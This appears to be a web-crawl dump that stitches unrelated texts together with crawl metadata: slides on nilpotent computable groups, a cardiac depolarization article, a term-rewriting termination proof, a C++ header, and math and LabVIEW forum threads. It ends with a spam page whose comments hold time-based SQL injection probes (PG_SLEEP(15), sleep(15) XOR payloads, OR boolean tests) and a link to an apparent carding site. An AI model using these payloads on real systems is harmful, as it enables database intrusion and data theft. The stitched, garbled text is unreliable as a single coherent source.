Let's be honest - sometimes the best metric carpet calculator is the one that is easy to use and doesn't require us to even know what the metric carpet formula is in the first place! But if you want to know the exact formula for calculating metric carpet then please check out the "Formula" box above. | 464 | 2,258 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.78125 | 3 | CC-MAIN-2024-38 | latest | en | 0.913848 |
https://dokumen.tips/documents/the-complexity-of-central-series-in-nilpotent-computable-solomonnotes-nilpotent.html | 1,642,876,584,000,000,000 | text/html | crawl-data/CC-MAIN-2022-05/segments/1642320303868.98/warc/CC-MAIN-20220122164421-20220122194421-00010.warc.gz | 280,864,930 | 20,808 | # The complexity of central series in nilpotent computable ... solomon/notes/ ¢ Nilpotent groups De nition
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### Text of The complexity of central series in nilpotent computable ... solomon/notes/ ¢ Nilpotent...
• The complexity of central series in nilpotent computable groups
Barbara Csima and Reed Solomon
March 22, 2011
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Two aspects of computable algebra
First aspect
Computable algebra is the study of computable model theory restricted to particular classes of structures.
From this point of view, one considers concepts such as
• computable dimension (relative computable dimension, d-dimension) • degree spectra (of structures, of relations, . . .) • Scott rank • index sets (for isomorphism problem, embedding problem, . . .)
within the specified class.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Two aspects of computable algebra
Second aspect
Computable algebra is the study of the effectiveness of the basic theorems, constructions and structural properties within a specified class of structures.
From this point of view, one considers questions such as
• How complicated are the terms in the upper and lower central series of a nilpotent computable group?
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Lower central series
Definition
Let G be a group and x , y ∈ G . The commutator of x and y is [x , y ] = x−1y−1xy . If H and K are subgroups of G , then
[H,K ] = 〈{[h, k] | h ∈ H and k ∈ K}〉
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Definition
The lower central series of G is
G = γ1G ≥ γ2G ≥ γ3G ≥ · · ·
where γi+1G = [γiG ,G ] = 〈{[x , g ] | x ∈ γiG and g ∈ G}〉.
• Any commutator [x , g ] is in γ2G = [G ,G ]. • If x = [u, v ], then [x , g ] = [[u, v ], g ] ∈ γ3G . • More generally, we need to close under inverses and products so an
element of γi+1G looks like
[x1, g1] α1 · [x2, g2]α2 · · · [xk , gk ]αk
where xj ∈ γiG , gj ∈ G and αj ∈ Z.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Algebraic motivation for lower central series
• γ2G is the smallest subgroup such that
∀h, g ∈ G (gh = hg mod γ2G )
• γi+1G is the smallest subgroup such that
∀h ∈ γiG , g ∈ G (gh = hg mod γi+1G )
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Upper central series
Definition
The center of a group G is
C (G ) = {g ∈ G | ∀h ∈ G (gh = hg)}
C (G ) is a normal subgroup so there is a canonical projection map
π : G → G/C (G ) with π(g) = gC (G )
If g ∈ C (G ), then π(g) = 1G/C(G) so π(g) ∈ C (G/C (G )). Therefore
C (G ) ⊆ π−1(C (G/C (G ))
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Definition
The upper central series of G is
1 = ζ0G ≤ ζ1G ≤ ζ2G ≤ · · ·
where ζi+1G = π −1(C (G/ζiG )).
• ζ1G is the center of G . • h ∈ ζi+1G ⇔ ∀g ∈ G (gh = hg mod ζiG ) • ζi+1G is the largest subgroup of G such that
∀h ∈ ζi+1G , g ∈ G (gh = hg mod ζiG )
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Nilpotent groups
Definition
A group G is nilpotent if the lower central series reaches 1 in finitely many steps, or equivalently, if the upper central series reaches G in finitely many steps.
The series are closely related. For example, γr+1G = 1⇔ ζrG = G . Therefore, we say
G is class r nilpotent⇔ γr+1G = 1⇔ ζrG = G
More generally, in a class r nilpotent group,
γiG ≤ ζr−i+1G and in particular γrG ≤ ζ1G
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Mal’cev correspondence
Let R be a ring (with identity) and let GR be all 3× 3 matrices of form 1 a c0 1 b 0 0 1
with a, b, c ∈ R. GR forms a class 2 nilpotent group.
Lemma
γ2GR = ζ1GR = all matrices of form 1 0 d0 1 0 0 0 1
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Mal’cev correspondence
R (ring) −→ GR (class 2 nilpotent group)
We can recover R from GR . The center of GR consists of the matrices 1 0 d0 1 0 0 0 1
with d ∈ R. We recover addition in R by multiplication in GR 1 0 d0 1 0
0 0 1
· 1 0 e0 1 0
0 0 1
= 1 0 d + e0 1 0
0 0 1
Multiplication can also be recovered effectively.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Applications of Mal’cev correspondence
Because the Mal’cev correspondence is highly effective, it can be used to transfer computable model theory results from the class of rings to the class of nilpotent groups.
Theorem (Goncharov, Molokov and Romanovskii)
For any 1 ≤ n ≤ ω, there is a computable nilpotent group with computable dimension n.
Theorem (Hirschfeldt, Khoussainov, Shore and Slinko)
• Any degree spectra that can be realized by a countable graph can be realized by a countable nilpotent group.
• For each 1 ≤ n ≤ ω, there is a computably categorical nilpotent group G and an element g ∈ G such that (G , g) has computable dimension n.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Applications of Mal’cev correspondence
Theorem (Morozov (and others?))
There are computable nilpotent groups of Scott rank ωCK1 and ω CK 1 + 1.
Theorem (various people)
The isomorphism problem for computable nilpotent groups is Σ11-complete.
With regard to the general notions of computable model theory such as computable dimension, degree spectra, Scott rank, index sets and so on, we understand nilpotent groups very well.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Back to lower central series
Each lower central terms of a computable group is c.e.
Let G be a computable group. Recall G = γ1G and γi+1G = [γiG ,G ].
• γ1G is computable (and hence c.e.) • If γiG is c.e., then so is {[h, g ] | h ∈ γiG and g ∈ G}. • Therefore, γi+1G is also c.e. since it is generated by this c.e. set.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Back to upper central series
Each upper central term of a computable group is co-c.e.
Let G be a computable group. Recall 1 = ζ0G (and hence is co-c.e.) and
h ∈ ζi+1G ⇔ ∀g(gh = hg mod ζiG ) ⇔ ∀g([g , h] ∈ ζiG )
Therefore, ζi+1G is a co-c.e. set.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Central question
Let G be computable group which is class r nilpotent. The terms
γ1G = ζrG = G and γr+1G = ζ0G = 1
are trivially computable. The nontrivial terms
γ2G , γ3G , . . . , γrG
and ζ1G , ζ2G , . . . , ζr−1G
have c.e. degree. What more can we say about the degrees of the nontrivial terms?
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Main theorem
In fact, the nontrivial terms are computationally independent.
Theorem (Csima and Solomon)
Fix r ≥ 2 and c.e. degrees d1, . . . ,dr−1 and e2, . . . , er. There is a computable group G which is class r nilpotent with deg(ζiG ) = di and deg(γiG ) = ei.
Moreover, the group G in this theorem is torsion free and admits a computable order. Therefore, the computational independence result holds in the class of computable ordered groups as well.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• What happens in Mal’cev correspondence?
Fix a ring R and the corresponding group GR . Recall that
ζ1GR = γ2GR
In any computable presentation of GR , one of these sets is c.e. and the other is co-c.e. Therefore, both are computable.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• Proving the main theorem
Lemma
For any groups G and H, γi (G × H) = γiG × γiH and ζi (G × H) = ζiG × ζiH.
Therefore, it suffices to prove the following theorem.
Theorem
For any r ≥ 2 and c.e. degree d, there exists • a class r nilpotent computable group G such that each ζiG is
computable, each γiG for 1 ≤ i ≤ r − 1 is computable and deg(γrG ) = d
• and a class r nilpotent computable group H such that each γiH is computable, each ζiH for 0 ≤ i ≤ r − 2 is computable and deg(ζr−1G ) = d.
The complexity of central series in nilpotent computable groups Barbara Csima and Reed Solomon
• The value of speaking in Novosibirsk
Theorem (Latkin
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Article Update
# Cardiac Depolarization and Repolarization and Mean Instantaneous Vectors
Cardiac Depolarization and Repolarization and Mean Instantaneous Vectors
PROGRESSION OF DEPOLARIZATION
PROGRESSION OF DEPOLARIZATION
Atrial Depolarization and Mean Vectors
The cardiac impulse originates in the sinus node and starts the process of atrial depolarization by lowering the resistance of the cell membrane, allowing neutralization or reversal of certain dipoles. This leaves an electric-wave front, an accession wave, which is preceded by positive forces and followed by negative ones. Normally, this wave is initiated at the sinoauricular (S-A) node (see Plate 2-17). Early during atrial depolarization, however, the wave spreads toward the foot and A-V node. Toward the end of atrial depolarization, the accession wave is directed toward the left atrium and left arm. The early atrial depolarization wave may be represented as a vector, the length of which indicates the magnitude (strength) of the voltage generated by the accession wave. The late atrial depolarization voltage is represented by a second vector, the length of which is a measure of the voltage generated at this time.
If the heads of these vectors are connected with their points of origin, a loop is formed; this is the P loop of the vectorcardiogram (VCG). The P loop is seen in the frontal plane.
A mean P vector can be determined from the instan-taneous vectors 1 and 2 by using the parallelogram law. To derive the mean vector from two instantaneous vectors, a parallelogram is drawn. The instantaneous vectors are drawn as originating from a common point of origin E. The parallelogram is completed by drawing a line from each arrowhead, parallel to the opposite vector. The mean vector is an arrow connecting E with the opposite angle of the parallelogram. The mean vector indicates the average direction taken by the atrial accession wave, and its magnitude as the wave travels over the atria.
One can analyze the mean atrial-depolarization vector against the Einthoven triangle reference frame to predict the type of P waves that will appear in leads I, II, and III. Projecting the mean vector against the reference line of lead I creates a projected vector, the length of which is proportional to the amplitude of the P wave in that lead. The direction of the wave (up or down) is determined by the direction of the projected atrial vector with respect to the polarity of the reference line. The direction of the P wave will be upward (positive) when the projected vector points in the same direction as the reference arrow for that lead and downward (negative) when the opposite relationship exists.
Just before atrial depolarization is complete, depolarization of the A-V node begins. However, the nodal depolarization process is of such low magnitude that the ECG instrument is unable to detect these changes, and it is not until the interventricular septum is invaded that a QRS complex begins. Normally, there is a time interval from the end of the P wave to the beginning of the QRS complex (P-R segment), which is usually opposite in direction to the P wave and is a result of atrial repolarization.
Septal Depolarization
The first important electric-movement in septal depolarization normally begins at the left side of the septum, moves to the right, and results from the entry of bundle of His branches into the septum at a higher level on the left than the right. The septal left-to-right movement is important because it writes the normal septal Q wave in leads I, aVL, and V6. If the first electric movement is analyzed (using Einthoven reference frame), it is evident that a Q wave will initiate the QRS complex in leads I and II and an R wave in lead III.
Apical Depolarization
The second electric movement of significance is apical depolarization, which follows the early depolarization of the right ventricle. Projection of the second instantaneous vector onto the Einthoven triangle indicates that leads I, II, and III will develop R waves at this time.
Left Ventricular Depolarization
Depolarization of the right ventricle occurs quickly and is completed early because of the thinness of this structure compared to that of the left ventricle. The third significant electric movement is toward the lateral wall of the left ventricle. At this time the amplitude of the R waves is increased in leads I and II, and S waves appear in lead III. The forces at this time are strong because there are no counterforces from the right ventricle and the LV muscle mass is thick.
END OF DEPOLARIZATION FOLLOWED BY REPOLARIZATION
Late Left Ventricular Depolarization
The fourth or late instantaneous vector (electric move- ment) exists toward the base of the left ventricle and occurs just before the end of the ventricular depolariza- tion process. This force results in a deepening of the S waves in lead III and an accentuation of the amplitude of the R waves in leads I and II.
Ventricles Depolarized
When the dipoles are removed or reversed, with no potential differences on the body as a result of electric changes affecting the heart, the heart is in the depolarized state. The myocardium is in a refractory condition during this period, and a myocardial stimulus will fail to elicit a contraction. Since there are no voltage differences, the ECG trace returns to the base- line in all leads; it is during this time that the S-T segment is written.
Ventricular Repolarization
Repolarization of the ventricles is a complex process in which a vector appears opposite the wave of depolarization. As a result, development of positive (upward) T waves is shown in the standard leads I and II. The normal direction of T waves in lead III is variable.
END OF DEPOLARIZATON FOLLOWED BY REPOLARIZATION
Ventricles Repolarized
Finally, each cell of the myocardium becomes repolarized, with a preponderance of negative charges inside the cell and positive charges outside. The heart is now ready for its next stimulation and contraction. The heart muscle is thus in a receptive state, and a stimulus will elicit a contraction. Now the trace is isoelectric because there are no net potential differences on the body surface. | 1,372 | 6,320 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.078125 | 3 | CC-MAIN-2024-26 | latest | en | 0.919329 |
https://aprove.informatik.rwth-aachen.de/eval/JAR06/JAR_TERM/TRS/AG01/%233.49.trs.Thm26:POLO_FILTER:NO.html.lzma | 1,718,854,044,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198861880.60/warc/CC-MAIN-20240620011821-20240620041821-00886.warc.gz | 78,953,341 | 2,065 | Term Rewriting System R:
[x, y]
f(c(s(x), y)) -> f(c(x, s(y)))
f(c(s(x), s(y))) -> g(c(x, y))
g(c(x, s(y))) -> g(c(s(x), y))
g(c(s(x), s(y))) -> f(c(x, y))
Termination of R to be shown.
` R`
` ↳Dependency Pair Analysis`
R contains the following Dependency Pairs:
F(c(s(x), y)) -> F(c(x, s(y)))
F(c(s(x), s(y))) -> G(c(x, y))
G(c(x, s(y))) -> G(c(s(x), y))
G(c(s(x), s(y))) -> F(c(x, y))
Furthermore, R contains one SCC.
` R`
` ↳DPs`
` →DP Problem 1`
` ↳Argument Filtering and Ordering`
Dependency Pairs:
G(c(s(x), s(y))) -> F(c(x, y))
G(c(x, s(y))) -> G(c(s(x), y))
F(c(s(x), s(y))) -> G(c(x, y))
F(c(s(x), y)) -> F(c(x, s(y)))
Rules:
f(c(s(x), y)) -> f(c(x, s(y)))
f(c(s(x), s(y))) -> g(c(x, y))
g(c(x, s(y))) -> g(c(s(x), y))
g(c(s(x), s(y))) -> f(c(x, y))
The following dependency pairs can be strictly oriented:
G(c(s(x), s(y))) -> F(c(x, y))
F(c(s(x), s(y))) -> G(c(x, y))
There are no usable rules w.r.t. to the AFS that need to be oriented.
Used ordering: Polynomial ordering with Polynomial interpretation:
POL(c(x1, x2)) = x1 + x2 POL(G(x1)) = x1 POL(s(x1)) = 1 + x1 POL(F(x1)) = x1
resulting in one new DP problem.
Used Argument Filtering System:
F(x1) -> F(x1)
c(x1, x2) -> c(x1, x2)
s(x1) -> s(x1)
G(x1) -> G(x1)
` R`
` ↳DPs`
` →DP Problem 1`
` ↳AFS`
` →DP Problem 2`
` ↳Dependency Graph`
Dependency Pairs:
G(c(x, s(y))) -> G(c(s(x), y))
F(c(s(x), y)) -> F(c(x, s(y)))
Rules:
f(c(s(x), y)) -> f(c(x, s(y)))
f(c(s(x), s(y))) -> g(c(x, y))
g(c(x, s(y))) -> g(c(s(x), y))
g(c(s(x), s(y))) -> f(c(x, y))
Using the Dependency Graph the DP problem was split into 2 DP problems.
` R`
` ↳DPs`
` →DP Problem 1`
` ↳AFS`
` →DP Problem 2`
` ↳DGraph`
` ...`
` →DP Problem 3`
` ↳Argument Filtering and Ordering`
Dependency Pair:
G(c(x, s(y))) -> G(c(s(x), y))
Rules:
f(c(s(x), y)) -> f(c(x, s(y)))
f(c(s(x), s(y))) -> g(c(x, y))
g(c(x, s(y))) -> g(c(s(x), y))
g(c(s(x), s(y))) -> f(c(x, y))
The following dependency pair can be strictly oriented:
G(c(x, s(y))) -> G(c(s(x), y))
There are no usable rules w.r.t. to the AFS that need to be oriented.
Used ordering: Polynomial ordering with Polynomial interpretation:
POL(G(x1)) = x1 POL(s(x1)) = 1 + x1
resulting in one new DP problem.
Used Argument Filtering System:
G(x1) -> G(x1)
c(x1, x2) -> x2
s(x1) -> s(x1)
` R`
` ↳DPs`
` →DP Problem 1`
` ↳AFS`
` →DP Problem 2`
` ↳DGraph`
` ...`
` →DP Problem 5`
` ↳Dependency Graph`
Dependency Pair:
Rules:
f(c(s(x), y)) -> f(c(x, s(y)))
f(c(s(x), s(y))) -> g(c(x, y))
g(c(x, s(y))) -> g(c(s(x), y))
g(c(s(x), s(y))) -> f(c(x, y))
Using the Dependency Graph resulted in no new DP problems.
` R`
` ↳DPs`
` →DP Problem 1`
` ↳AFS`
` →DP Problem 2`
` ↳DGraph`
` ...`
` →DP Problem 4`
` ↳Argument Filtering and Ordering`
Dependency Pair:
F(c(s(x), y)) -> F(c(x, s(y)))
Rules:
f(c(s(x), y)) -> f(c(x, s(y)))
f(c(s(x), s(y))) -> g(c(x, y))
g(c(x, s(y))) -> g(c(s(x), y))
g(c(s(x), s(y))) -> f(c(x, y))
The following dependency pair can be strictly oriented:
F(c(s(x), y)) -> F(c(x, s(y)))
There are no usable rules w.r.t. to the AFS that need to be oriented.
Used ordering: Polynomial ordering with Polynomial interpretation:
POL(s(x1)) = 1 + x1 POL(F(x1)) = x1
resulting in one new DP problem.
Used Argument Filtering System:
F(x1) -> F(x1)
c(x1, x2) -> x1
s(x1) -> s(x1)
Termination of R successfully shown.
Duration:
0:00 minutes | 1,310 | 3,688 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.6875 | 3 | CC-MAIN-2024-26 | latest | en | 0.704487 |
https://fuchsia.googlesource.com/fuchsia/+/refs/heads/releases/canary/src/camera/lib/numerics/rational.h?autodive=0%2F%2F%2F%2F%2F%2F | 1,675,032,418,000,000,000 | text/html | crawl-data/CC-MAIN-2023-06/segments/1674764499768.15/warc/CC-MAIN-20230129211612-20230130001612-00075.warc.gz | 291,231,278 | 3,070 | blob: 193ea6719c535fcabc089dc8c9294c0d8255fee1 [file] [log] [blame]
// Copyright 2022 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef SRC_CAMERA_LIB_NUMERICS_RATIONAL_H_ #define SRC_CAMERA_LIB_NUMERICS_RATIONAL_H_ #include #include #include namespace camera::numerics { // Rational represents a rational number. All operations attempt to leave the number as a reduced // fraction, but no attempt is made to detect or avoid overflow, division by zero, or other // undefined behaviors. struct Rational { int64_t n = 0; int64_t d = 1; // Transforms the number into a reduced fraction and ensures the denominator is non-negative. Rational& Reduce(); Rational& operator+=(const Rational& r); Rational& operator-=(const Rational& r); Rational& operator*=(const Rational& r); Rational& operator/=(const Rational& r); friend std::ostream& operator<<(std::ostream& os, const Rational& r); }; Rational Reduce(const Rational& r); Rational operator+(const Rational& r); Rational operator-(const Rational& r); Rational operator+(const Rational& a, const Rational& b); Rational operator-(const Rational& a, const Rational& b); Rational operator*(const Rational& a, const Rational& b); Rational operator/(const Rational& a, const Rational& b); bool operator==(const Rational& a, const Rational& b); bool operator!=(const Rational& a, const Rational& b); bool operator<(const Rational& a, const Rational& b); bool operator<=(const Rational& a, const Rational& b); bool operator>(const Rational& a, const Rational& b); bool operator>=(const Rational& a, const Rational& b); } // namespace camera::numerics #endif // SRC_CAMERA_LIB_NUMERICS_RATIONAL_H_ | 421 | 1,741 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.875 | 3 | CC-MAIN-2023-06 | latest | en | 0.567427 |
https://www.physicsforums.com/threads/find-out-the-limit-of-the-following-function.595831/ | 1,508,206,197,000,000,000 | text/html | crawl-data/CC-MAIN-2017-43/segments/1508187820556.7/warc/CC-MAIN-20171017013608-20171017033608-00177.warc.gz | 1,228,286,193 | 16,479 | # Find out the limit of the following function
1. Apr 12, 2012
### vkash
f(0,∞)->R
f(x)=2 [x^(sin(2x)] cos(2x)
find lim(x->0)f(x)=?
I have done all my hits all failed!!!
can you please tell me how to solve it???
2. Apr 12, 2012
### HallsofIvy
Staff Emeritus
Well, tell us what you have tried so we will know what hints will help.
3. Apr 12, 2012
### vkash
i have reached to this answer!!! is it correct..
let y = [x^(sin(2x)] cos(2x)
ln(y)= sin(2x)*ln(x)+ln(cos(2x))
lim(x->0) sin(2x)*ln(x)+ln(cos(2x))
lim(x->0) sin(2x)*ln(x) //(as ln(cos(0))=ln(1)=0
lim(x->0)2sin(x)ln(x)
lim(x->0)2 ln(x)/cosec(x)
L Hopital
lim(x->0)-2/(xcosec(x)cot(x))
lim(x->0)-2sin2(x)/xcos(x)
lim(x->0)-2sin2(x)/x
once again L hopital
lim(x->0)-4sin(x)cos(x)+2sin3(x)
=0.................(area all steps correct)
ln(y)=0
y=1
;lim(x->0)f(x)=2y=2
is it correct. I doesn't have marking scheme or any thing like this so i can't tell what's correct answer..
Last edited: Apr 12, 2012
4. Apr 12, 2012
### SammyS
Staff Emeritus
5. Apr 12, 2012
### vkash
you mean my answer is correct???????
OR
you have already done this question and saying me that answer is 2??
6. Apr 12, 2012
### SammyS
Staff Emeritus
The step that goes from
lim(x->0) sin(2x)*ln(x)
to
lim(x->0)2sin(x)ln(x)
is not correct, if you mean that sin(2x)ln(x) = 2sin(x)ln(x) .
7. Apr 12, 2012
### Dick
I don't think that's right.
8. Apr 16, 2012
### vkash
are nahi yar!!
no i have just skipped a step..
lim(x->0)sin(2x)ln(x) =lim(x->0)2sin(x)cos(x)ln(x)
cos(0)=1
so
lim(x->0)sin(2x)ln(x) =lim(x->0)2sin(x)cos(x)ln(x)=lim(x->0)2sin(x)ln(x)
so what do you think about it..
9. Apr 16, 2012
### Dick
Ok so far. I'd double check if you still think the limit is 2.
10. Apr 16, 2012
### SammyS
Staff Emeritus
I'm pretty sure that $\displaystyle \lim_{x\to0^+}2\,x^{\sin(2x)} \cos(2x)=2\,.$
11. Apr 16, 2012
### Dick
Yeah, you're right. I've been missing the initial '2' somehow. Sorry.
12. Apr 16, 2012
### vkash
thanks to all of you for helping me... | 800 | 2,016 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.75 | 4 | CC-MAIN-2017-43 | longest | en | 0.808839 |
https://forums.ni.com/t5/LabVIEW/Interpolating-1D-XY-data-not-working-properly-in-my-sample-VI/m-p/3955357?profile.language=en | 1,571,088,440,000,000,000 | text/html | crawl-data/CC-MAIN-2019-43/segments/1570986655310.17/warc/CC-MAIN-20191014200522-20191014224022-00218.warc.gz | 513,836,793 | 32,000 | LabVIEW
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Interpolating 1D XY data not working properly in my sample VI
Hi Friends,
I need to interpolate XY data acquired from a data acquisition device, the interpolate 1D VI just takes the nearest value instead of interpolating it, see the attached code.
The 1D XY data is produced using a square of iteration (Y) and the time (t) at which the Y is obtained. The time interval is 0.2s for data generation and a 50 ms is added for the XY data interpolation. So, the raw data is
(t1, Y1), (t2, Y2), .... (tn, Yn), where Y = i*i, i is the iteration.
The interpolated data should be
(t1+0.05, Y1'), (t2+0.05), Y2'), .... (tn+0.05, Yn'),
Currently, Yi' = Yi, which is not what I expected.
Could someone help with this issue?
Thanks,
Gu
Message 1 of 13
(265 Views)
Re: Interpolating 1D XY data not working properly in my sample VI
Read the help for "interpolate array". Your code makes very little sense.
LabVIEW Champion. It all comes together in GCentral
Message 2 of 13
(254 Views)
Solution
Accepted by topic author edmonton
Re: Interpolating 1D XY data not working properly in my sample VI
Try this....
LabVIEW Champion. It all comes together in GCentral
Message 3 of 13
(240 Views)
Solution
Accepted by topic author edmonton
Re: Interpolating 1D XY data not working properly in my sample VI
LabVIEW Champion. It all comes together in GCentral
Message 4 of 13
(239 Views)
Re: Interpolating 1D XY data not working properly in my sample VI
Using the 2D Interpolation makes this all much easier.
—Ben
Prevent your computer from sleeping programmatically!
Use Power Requests
Message 5 of 13
(229 Views)
Re: Interpolating 1D XY data not working properly in my sample VI
How is that 2-D interpolation?
The VI is called "Interpolate 1D.vi".
Message 6 of 13
(225 Views)
Re: Interpolating 1D XY data not working properly in my sample VI
@Ben_Manthey wrote:
Using the 2D Interpolation makes this all much easier.
Your VI is using "interpolate 1D" though.
(also, if you look inside, it is using a scary amount of code to do the same, so it is only simpler on the surface )
LabVIEW Champion. It all comes together in GCentral
Message 7 of 13
(223 Views)
Re: Interpolating 1D XY data not working properly in my sample VI
Hi Dr Altenbach,
Thanks a lots.
Gu
Message 8 of 13
(198 Views)
Re: Interpolating 1D XY data not working properly in my sample VI
Hi Ben,
Thank you for your response. My LV is 2015 can not open the vi, Could I trouble you to save your VI to 2014 or 2015 version and upload it again?
Regards,
Gu
Message 9 of 13
(194 Views)
Re: Interpolating 1D XY data not working properly in my sample VI
@edmonton wrote:
My LV is 2005 can not open the vi,
Actually, you have LabVIEW 2015. (There is no LabVIEW 2005)
LabVIEW Champion. It all comes together in GCentral
Message 10 of 13
(181 Views) | 815 | 2,917 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2019-43 | latest | en | 0.861759 |
https://socratic.org/questions/how-do-you-solve-5-x-1-3-x-2-7-1 | 1,596,561,381,000,000,000 | text/html | crawl-data/CC-MAIN-2020-34/segments/1596439735881.90/warc/CC-MAIN-20200804161521-20200804191521-00186.warc.gz | 498,119,233 | 6,171 | # How do you solve 5(x − 1) = 3(x + 2) − 7?
Jun 3, 2017
$x = 2$
#### Explanation:
1) Distribute the $5$.
$5 x - 5 = 3 x + 6 - 7$
2) Combine like terms on the right side. YOU DON'T CHANGE WHAT IS ON THE LEFT SIDE!
$5 x - 5 = 3 x - 1$
3) Add 5 to BOTH SIDES to keep the equation balanced.
$5 x = 3 x + 4$
4) Subtract 3x from BOTH SIDES to keep the equation balanced.
$2 x = 4$
5) Divide 2 on BOTH SIDES to keep the equation balanced.
$x = 2$
And you are done! | 176 | 471 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 7, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.4375 | 4 | CC-MAIN-2020-34 | latest | en | 0.765832 |
http://61-64-230-183-adsl-tpe.dynamic.so-net.net.tw/login/zippyshare.com/users.mdb/websso/SAML2/SSO/control/ConnectComputer/vsadmin/servlet/zentrack/cgi-bin/colunas.php | 1,720,976,982,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514635.58/warc/CC-MAIN-20240714155001-20240714185001-00501.warc.gz | 340,032 | 10,605 | # Content
## My Resource
what you've written. In my opinion, it would make your posts a little bit more interesting.
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555-1) OR 594=(SELECT 594 FROM PG_SLEEP(15))--
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5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
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https://vclubcc.ru/ Incredible quest there. What occurred after? Good luck!
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555
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555*if(now()=sysdate(),sleep(15),0)
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-1 OR 3*2<(0+5+507-507) --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
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555-1 OR 710=(SELECT 710 FROM PG_SLEEP(15))--
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5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 3*2<(0+5+266-266)
-1 OR 3*2>(0+5+266-266)
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555iPLfTwYT' OR 189=(SELECT 189 FROM PG_SLEEP(15))--
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-1" OR 2+627-627-1=0+0+0+1 --
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555-1 OR 579=(SELECT 579 FROM PG_SLEEP(15))--
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555UYwm9qcK') OR 149=(SELECT 149 FROM PG_SLEEP(13.475))--
